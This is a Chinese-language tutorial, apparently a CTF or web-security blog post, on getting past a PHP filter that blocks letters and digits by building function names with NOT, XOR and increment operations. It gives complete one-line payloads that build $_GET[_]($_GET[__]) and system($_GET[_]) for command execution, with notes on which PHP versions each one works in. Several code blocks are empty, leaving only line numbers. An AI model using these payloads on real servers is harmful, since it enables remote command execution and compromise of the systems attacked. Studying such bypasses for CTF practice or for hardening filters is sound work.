取反(~)
测试代码如下
1 |
|
大概意思就是利用第一次取反绕过字母和数字,第二次取反,得到原来的数据;
1 |
|
注意:经过测试只有在7.*
版本才可以这么用,5或8版本都不行,并且只有当请求方式为GET
是才有用,$_POST
没用
当我将上面的的请求方式从GET更改为POST,会发现POST的数据再第二次取反之后会在每一个字符之间加一个=
符号;
异或(^)
测试代码依旧是
1 |
|
异或可以借助python脚本
1 | import urllib.parse |
payload
1 | phpinfo() |
如果可以异或的字符很少,可能有一些字符异或不出来(一般都是一些特殊字符);遇到这种情况如果waf
没有过滤那个异或不出来的字符,可以直接用.
点号拼接;当然,是在点好号没有被过滤的提前下;
注意:经过测试异或在5的版本不行,可以在7.*
或者8.*
的版本,并且POST和GET请求方式都可以;
自增(=,+)
测试代码依旧是
1 |
|
当我们通过某种方法可以得到一个字符时,我们就可以通过自增来获取其他字符
1 |
|
构造出$_GET[_]($_GET[__])
1 |
|
将上面的代码合成一行;如下:
1 | $_=[];$_="$_";$_=$_['!'=='@'];$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$____=$_++;$_='_'.$___.$__.$____;$$_[_]($$_[__]); |
但是$_GET[_]($_GET[__]);
似乎只在7.*
版本管用;
本来想构造eval
来着的,好像不太行;构造system($_GET[_]);
,
1 |
|
1 | code=$_=[];$_="$_";$_=$_['!'=='@'];$_;$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$________=$_++;$_++;$_++;$_++;$_++;$_++;$_______=$_++;$____=$_++;$_____='_'.$___.$__.$____;$_++;$_++;$_++;$_++;$______=$_++;$_________=$_______.$______.$_______.$____.$__.$________;$_________($$_____[__]); |
system($_GET[_])
确实可以,但是只能在7.*
;按照原理不应该受到版本限制才对,经过我漫长的测试;终于找到了原因
原来在5.*
的版本$_________($$_____[__]);
中的$$_____
会报错,只需要改成$_=$$_____;$_________($_[__]);
就可以了
1 | code=$_=[];$_="$_";$_=$_['!'=='@'];$_;$_++;$_++;$_++;$_++;$__=$_++;$_++;$___=$_++;$_++;$_++;$_++;$_++;$_++;$________=$_++;$_++;$_++;$_++;$_++;$_++;$_______=$_++;$____=$_++;$_____='_'.$___.$__.$____;$_++;$_++;$_++;$_++;$______=$_++;$_________=$_______.$______.$_______.$____.$__.$________;$_=$$_____;$_________($_[__]); |
在我本地的5.6
成功了,但是我本地5.3
依然没成功
在8.*
的版本[]
中的变量不可以用_
;
注意:自增比上面两种方法更麻烦;